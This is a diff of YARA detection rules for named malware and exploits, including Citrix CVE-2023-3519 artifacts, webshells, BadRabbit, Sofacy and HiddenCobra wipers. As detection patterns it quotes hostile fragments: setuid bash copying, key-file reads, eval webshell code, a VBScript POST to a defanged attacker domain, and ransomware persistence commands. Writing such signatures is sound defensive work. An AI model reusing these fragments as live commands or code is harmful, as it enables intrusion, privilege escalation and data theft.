+		hash2 = "b0adf3d58fa354dbaac6a2047b6e30bc07a5460f71db5f5975ba7b96de986243"
+		hash3 = "c0f7970bed203a5f8b2eca8929b4e80ba5c3276206da38c4e0a4445f648f3cec"
 
 	strings:
-		$x1 = "cat /flash/nsconfig/ns.conf >>" ascii
-		$x2 = "cat /nsconfig/.F1.key >>" ascii
-		$x3 = "openssl base64 -d < /tmp/" ascii
-		$x4 = "cp /usr/bin/bash /var/tmp/bash" ascii
-		$x5 = "chmod 4775 /var/tmp/bash"
-		$x6 = "pwd;pwd;pwd;pwd;pwd;"
-		$x7 = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
+		$s1 = "Driver.dll" wide fullword
+		$s2 = "X l.dlT" ascii fullword
+		$s3 = "$928c7481-dd27-8e23-f829-4819aefc728c" ascii fullword
 
 	condition:
-		filesize <10MB and 1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and 3 of ($s*)
 }
-rule SIGNATURE_BASE_LOG_EXPL_Citrix_Netscaler_ADC_Exploitation_Attempt_CVE_2023_3519_Jul23_1 : CVE_2023_3519
+rule SIGNATURE_BASE_Venom_Rootkit : FILE
 {
 	meta:
-		description = "This YARA rule detects forensic artifacts that appear following an attempted exploitation of Citrix NetScaler ADC CVE-2023-3519. The rule identifies an attempt to access the vulnerable function using an overly long URL, a potential sign of attempted exploitation. However, it does not confirm whether such an attempt was successful."
-		author = "Florian Roth"
-		id = "7dfe4130-d976-5d6d-a05d-ccadefe45406"
-		date = "2023-07-27"
+		description = "Venom Linux Rootkit"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fedc6fa9-7dfb-5e54-a7bf-9a16f96d6886"
+		date = "2017-01-12"
 		modified = "2023-12-05"
-		reference = "https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L63-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ad3164c5b2616b12a513a2bb3736d530769e75fca03346a72351a27b8343b2a"
-		score = 65
+		reference = "https://security.web.cern.ch/security/venom.shtml"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_venom_linux_rootkit.yar#L10-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b2211edc6737e9da3e43bec9ef823e80c6bd6463adbb10d6839e9914aed22ac"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-3519"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sr1 = /GWTEST FORMS SSO: Parse=0; URLLEN=([2-9][0-9]{2}|[0-9]{4,20}); Event: start=0x/
-		$s1 = ", type=1; Target: start=0x"
+		$s1 = "%%VENOM%CTRL%MODE%%" ascii fullword
+		$s2 = "%%VENOM%OK%OK%%" ascii fullword
+		$s3 = "%%VENOM%WIN%WN%%" ascii fullword
+		$s4 = "%%VENOM%AUTHENTICATE%%" ascii fullword
+		$s5 = ". entering interactive shell" ascii fullword
+		$s6 = ". processing ltun request" ascii fullword
+		$s7 = ". processing rtun request" ascii fullword
+		$s8 = ". processing get request" ascii fullword
+		$s9 = ". processing put request" ascii fullword
+		$s10 = "venom by mouzone" ascii fullword
+		$s11 = "justCANTbeSTOPPED" ascii fullword
 
 	condition:
-		all of them
+		filesize <4000KB and 2 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_SECRETSAUCE_Jul23_1 : CVE_2023_3519 FILE
+rule SIGNATURE_BASE_Dexter_Malware
 {
 	meta:
-		description = "Detects SECRETSAUCE PHP webshells (found after an exploitation of Citrix NetScaler ADC CVE-2023-3519)"
-		author = "Florian Roth"
-		id = "db0542e7-648e-5f60-9838-e07498f58b51"
-		date = "2023-07-24"
+		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8be328ec-ba29-50ba-8d35-e2c4dfcae45e"
+		date = "2015-02-10"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L79-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c762d46ae43a3e10453c2ee17039812a06086ac85bdb000cf8308f5196a9dee2"
-		score = 85
-		quality = 85
-		tags = "CVE-2023-3519, FILE"
+		reference = "http://goo.gl/oBvy8b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_dexter_trojan.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b05bccce63c1f7e8d6d3f654b611f33da5fc1dbcbd28ff28f817d00bf961e64"
+		score = 70
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = "for ($x=0; $x<=1; $x++) {" ascii
-		$sa2 = "$_REQUEST[" ascii
-		$sa3 = "@eval" ascii
-		$sb1 = "public $cmd;" ascii
-		$sb2 = "return @eval($a);" ascii
-		$sb3 = "$z->run($z->get('openssl_public_decrypt'));"
+		$s0 = "Java Security Plugin" fullword wide
+		$s1 = "%s\\%s\\%s.exe" fullword wide
+		$s2 = "Sun Java Security Plugin" fullword wide
+		$s3 = "\\Internet Explorer\\iexplore.exe" wide
 
 	condition:
-		filesize <100KB and ( all of ($sa*) or 2 of ($sb*))
+		all of them
 }
-rule SIGNATURE_BASE_MAL_UNC2891_Slapstick : FILE
+rule SIGNATURE_BASE_Badrabbit_Gen : FILE
 {
 	meta:
-		description = "Detects UNC2891 Slapstick pam backdoor"
-		author = "Frank Boldewin (@r3c0nst), slightly modifier by Florian Roth"
-		id = "eb5db507-ac12-5c11-9dd9-ec34b9a80e1c"
-		date = "2022-03-30"
-		modified = "2023-01-05"
-		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2891_mal_jan23.yar#L19-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4bc51a47a1b620c3bb950c287c38a37e528e79f9720fb4d9fa9ebecbeca82036"
+		description = "Detects BadRabbit Ransomware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "272e50f8-5aef-52ec-a5d0-01e8504d6c55"
+		date = "2017-10-25"
+		modified = "2023-12-05"
+		reference = "https://pastebin.com/Y7pJv3tK"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_badrabbit.yar#L11-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21c63a02d0284ce759b087f4869c4ed8e6b50c37ffeb724538567e28aeae16ac"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93"
+		hash2 = "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648"
+		hash3 = "630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da"
 
 	strings:
-		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
-		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
-		$str1 = "/proc/self/exe" fullword ascii
-		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
-		$str3 = "pam_sm_authenticate" ascii
-		$str_fr1 = "HISTFILE=/dev/null"
+		$x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST" fullword wide
+		$x2 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\"" fullword wide
+		$x3 = "C:\\Windows\\infpub.dat" fullword wide
+		$x4 = "C:\\Windows\\cscc.dat" fullword wide
+		$s1 = "need to do is submit the payment and get the decryption password." fullword ascii
+		$s2 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide
+		$s3 = "\\\\.\\pipe\\%ws" fullword wide
+		$s4 = "fsutil usn deletejournal /D %c:" fullword wide
+		$s5 = "Run DECRYPT app at your desktop after system boot" fullword ascii
+		$s6 = "Files decryption completed" fullword wide
+		$s7 = "Disable your anti-virus and anti-malware programs" fullword wide
+		$s8 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide
+		$s9 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s10 = "%ws C:\\Windows\\%ws,#1 %ws" fullword wide
 
 	condition:
-		uint32(0)==0x464c457f and filesize <100KB and ( all of ($code*) or all of ($str*))
+		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_HKTL_Keyword_Injectdll : FILE
+rule SIGNATURE_BASE_Badrabbit_Mimikatz_Comp : FILE
 {
 	meta:
-		description = "Detects suspicious InjectDLL keyword found in hacktools or possibly unwanted applications"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "422eed76-7dfa-5490-a866-d337434eaddc"
-		date = "2019-04-04"
+		id = "52affd3f-6bf9-55f6-92a5-69314a2e76e0"
+		date = "2017-10-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/zerosum0x0/koadic"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_hacktool.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51c54026672e9ad36d2d68ae8dba61437f8808fbf2ad3c3c7bb086d8abb63987"
-		score = 60
+		reference = "https://pastebin.com/Y7pJv3tK"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_badrabbit.yar#L42-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9d12d9331686a54e8d32f94761e4889710bbd2432d4cb2e4e7e3f21ef6aa082a"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2e7b4141e1872857904a0ef2d87535fd913cbdd9f964421f521b5a228a492a29"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f8c54f9fa8e47596a3beff0031f85360e56840c77f71c6a573ace6f46412035"
 
 	strings:
-		$s2 = "InjectDLL" fullword ascii
-		$s4 = "Kernel32.dll" fullword ascii
+		$s1 = "%lS%lS%lS:%lS" fullword wide
+		$s2 = "lsasrv" fullword wide
+		$s3 = "CredentialKeys" ascii
+		$s4 = { 50 72 69 6D 61 72 79 00 6D 00 73 00 76 00 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 3 of them )
 }
-rule SIGNATURE_BASE_HKTL_Python_Sectools
+rule SIGNATURE_BASE_Hiddencobra_R4_Wiper_1 : FILE
 {
 	meta:
-		description = "Detects code which uses the python lib sectools"
-		author = "Arnim Rupp"
-		id = "89a5e0ba-5547-53e4-84a3-d07ee779596e"
-		date = "2023-01-27"
+		description = "Detects HiddenCobra Wiper"
+		author = "NCCIC Partner"
+		id = "4978c190-7b66-5cea-96df-809f85620986"
+		date = "2017-12-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/p0dalirius/sectools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_hacktool.yar#L18-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "814ba1aa62bbb7aba886edae0f4ac5370818de15ca22a52a6ab667b4e93abf84"
-		hash = "b3328ac397d311e6eb79f0a5b9da155c4d1987e0d67487ea681ea59d93641d9e"
-		hash = "8cd205d5380278cff6673520439057e78fb8bf3d2b1c3c9be8463e949e5be4a1"
-		logic_hash = "17f6897dc623f822c7ae6a7ae51714e78316d7b7fdf59b9f2f625ecaae939522"
-		score = 50
+		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hiddencobra_wiper.yar#L8-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e88b7f8491e87cce0deb5f246ca521bdb556b9c79c697559bdf8b0b332e714e"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$import1 = "from sectools"
-		$import2 = "import sectools"
+		$mbr_code = { 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 5D 7C 33 C9 41 81 F9 00 ?? 74 24 B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 83 55 06 00 EB D5 BE 4D 7C B4 43 B0 00 CD 13 33 C9 BE 5D 7C EB C5 }
+		$controlServiceFoundlnBoth = { 83 EC 1C 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 44 8B 44 24 24 53 56 6A 24 50 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 1C 8D 4C 24 0C 51 6A 01 56 FF 15 ?? ?? ?? ?? 68 E8 03 00 00 FF 15 ?? ?? ?? ?? 56 FF D3 57 FF D3 5E 5B 33 C0 5F 83 C4 1C C3 33 C0 5F 83 C4 1C C3 }
 
 	condition:
-		any of ($import*)
+		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and any of them
 }
-rule SIGNATURE_BASE_Lokibot_Dropper_Scancopypdf_Feb18 : FILE
+rule SIGNATURE_BASE_Hiddencobra_R4_Wiper_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Scan Copy.pdf.com"
-		author = "Florian Roth (Nextron Systems)"
-		id = "64c45d91-4e18-5fd1-8d93-b5db4df7da29"
-		date = "2018-02-14"
+		description = "Detects HiddenCobra Wiper"
+		author = "NCCIC Partner"
+		id = "75acc3cb-90dd-58e8-b094-ed3f28650b1b"
+		date = "2017-12-12"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_loki_bot.yar#L11-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9f10a09d91c10731e34dc88f87104693cdc794ddc3c63ee382f976d0a75f30f"
+		reference = "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hiddencobra_wiper.yar#L22-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f537f67be28f854db0d56199d2a43f90cf6c80469a6f9853db0cd550440c7e1f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6f8ff26a5daf47effdea5795cdadfff9265c93a0ebca0ce5a4144712f8cab5be"
 
 	strings:
-		$x1 = "Win32           Scan Copy.pdf   " fullword wide
-		$a1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
-		$s1 = "Compiling2.exe" fullword wide
-		$s2 = "Unstalled2" fullword ascii
-		$s3 = "Compiling.exe" fullword wide
+		$PhysicalDriveSTR = "\\\\.\\PhysicalDrive" wide
+		$ExtendedWrite = { B4 43 B0 00 CD 13 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and $x1 or ($a1 and 1 of ($s*))
+		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and all of them
 }
-rule SIGNATURE_BASE_Lokibot_Dropper_Packed_R11_Feb18 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sofacy_Campaign_Mal_Feb18_Cdnver : FILE
 {
 	meta:
-		description = "Auto-generated rule - file scan copy.pdf.r11"
+		description = "Detects Sofacy malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "83cd6225-eb6d-5d17-a751-51f20db9c7eb"
-		date = "2018-02-14"
+		id = "a5c72ddd-91b0-5410-9d81-38a138ec7efe"
+		date = "2018-02-07"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_loki_bot.yar#L33-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ca39cac8dcbbbe1697ef96bde60c522bb9cc190c208483220aa96bc672f325a"
+		reference = "https://twitter.com/ClearskySec/status/960924755355369472"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy.yar#L4-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd3fa21710054a96cc85da13d98e0882deaa574708c833349638b57b6088131c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029"
+		hash1 = "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8"
 
 	strings:
-		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
+		$x1 = "cdnver.dll" fullword wide
+		$x2 = { 25 73 0A 00 00 00 00 00 30 00 00 00 20 00 2D 00
+              20 00 00 00 0A 00 00 00 25 00 73 00 00 00 00 00
+              69 00 6D 00 61 00 67 00 65 00 2F 00 6A 00 70 00
+              65 00 67 }
+		$s1 = "S7%s - %lu" fullword ascii
+		$s2 = "SNFIRNW" fullword ascii
 
 	condition:
-		uint16(0)==0x0000 and filesize <2000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <90KB and (pe.imphash()=="01f3d0fe6fb9d9df24620e67afc143c7" or 1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_KHRAT_Malware : FILE
+rule SIGNATURE_BASE_Sofacy_Trojan_Loader_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects an Imphash of KHRAT malware"
+		description = "Sofacy Activity Feb 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3e6a5aca-9898-5864-8974-ca4adf272893"
-		date = "2017-08-31"
+		id = "358d7a77-0ff5-572e-9cd8-b2cebaace02f"
+		date = "2018-03-01"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_khrat.yar#L13-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cfc1a9fb4dbec4deb70616ab7c4cce3cf56429f61fd36f78245621527d011e20"
+		reference = "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy.yar#L29-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b1946af23fa0de69f5631a66fa211dab5d8731b5afdb23898428842232752e77"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
+		hash1 = "335565711db93cd02d948f472c51598be4d62d60f70f25a20449c07eae36c8c5"
+
+	strings:
+		$x1 = "%appdata%\\nad.dll" fullword wide
+		$s3 = "%appdata%\\nad.bat" fullword wide
+		$s1 = "apds.dll" fullword ascii
+		$s2 = "nad.dll\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="6a8478ad861f98f8428a042f74de1944"
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports("VidBitRpl") or 1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_KHRAT_Script
+rule SIGNATURE_BASE_APT_ATP28_Sofacy_Indicators_May19_1 : FILE
 {
 	meta:
-		description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
+		description = "Detects APT28 Sofacy indicators in samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd345647-4887-560e-a6b2-129a880026aa"
-		date = "2017-08-31"
+		id = "ca768b60-7094-537a-b848-28bd42555287"
+		date = "2019-05-18"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_khrat.yar#L26-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c27a89028794b50b95850d90ee29b56606e6b58b862a26e287077e7f7be7f096"
-		score = 75
+		reference = "https://twitter.com/cyb3rops/status/1129647994603790338"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy.yar#L53-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e3530f540cc66e99b82bd88887943c8e524d4d750734058d9a7b27f76bc6871"
+		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
+		tags = "FILE"
+		hash1 = "80548416ffb3d156d3ad332718ed322ef54b8e7b2cc77a7c5457af57f51d987a"
+		hash2 = "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44"
 
 	strings:
-		$x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
-		$x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
-		$x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii
+		$x1 = "c:\\Users\\user\\Desktop\\openssl-1.0.1e_m\\/ssl/cert.pem" ascii
+		$x2 = "C:\\Users\\User\\Desktop\\Downloader_Poco" ascii
+		$s1 = "w%SystemRoot%\\System32\\npmproxy.dll" fullword wide
+		$op0 = { e8 41 37 f6 ff 48 2b e0 e8 99 ff ff ff 48 8b d0 }
+		$op1 = { e9 34 3c e3 ff cc cc cc cc 48 8d 8a 20 }
+		$op2 = { e8 af bb ef ff b8 ff ff ff ff e9 f4 01 00 00 8b }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <10000KB and (pe.imphash()=="f4e1c3aaec90d5dfa23c04da75ac9501" or 1 of ($x*) or ($s1 and 2 of ($op*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_KHRAT_Scritplet : FILE
+rule SIGNATURE_BASE_EXT_APT_Bitter_Win32K_0Day_Feb21 : FILE
 {
 	meta:
-		description = "Rule derived from KHRAT scriptlet"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f72d68a3-0409-5401-b6a1-ca8f188d7409"
-		date = "2017-08-31"
+		description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
+		author = "dbappsecurity_lieying_lab"
+		id = "b1892b52-4b94-5571-ad63-8750a321f1f2"
+		date = "2021-01-01"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_khrat.yar#L43-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbbabd8e2f17827d96aeef4ea362f133cf3fcc31716c517b86a05a010ff62510"
+		reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bitter.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "84a8d0ae14469eb6431e73295d821609c7a8b313630d645085ffd8faff6e5e43"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
 
 	strings:
-		$x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
-		$x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
-		$s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
-		$s2 = "Dim http,WMI,Objs,Process" fullword ascii
-		$s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
-		$s4 = "'WScript.Echo http.responseText " fullword ascii
+		$s1 = "NtUserConsoleControl" ascii wide
+		$s2 = "NtCallbackReturn" ascii wide
+		$s3 = "CreateWindowEx" ascii wide
+		$s4 = "SetWindowLong" ascii wide
+		$a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
+		$a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
+		$a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}
 
 	condition:
-		uint16(0)==0x3f3c and filesize <1KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and all of ($s*) and 1 of ($a*)
 }
-rule SIGNATURE_BASE_Crowdstrike_Shamoon_Droppedfile
+rule SIGNATURE_BASE_Apt_RU_Moonlightmaze_Customlokitools : FILE
 {
 	meta:
-		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
-		author = "Florian Roth"
-		id = "b350f1b1-db73-574b-957b-34e5a84f68b0"
-		date = "2023-12-05"
+		description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
+		author = "Kaspersky Lab"
+		id = "d5795d3b-bbb1-59e9-b86d-666b5c911f3b"
+		date = "2017-03-15"
+		modified = "2017-03-22"
+		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_moonlightmaze.yar#L11-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
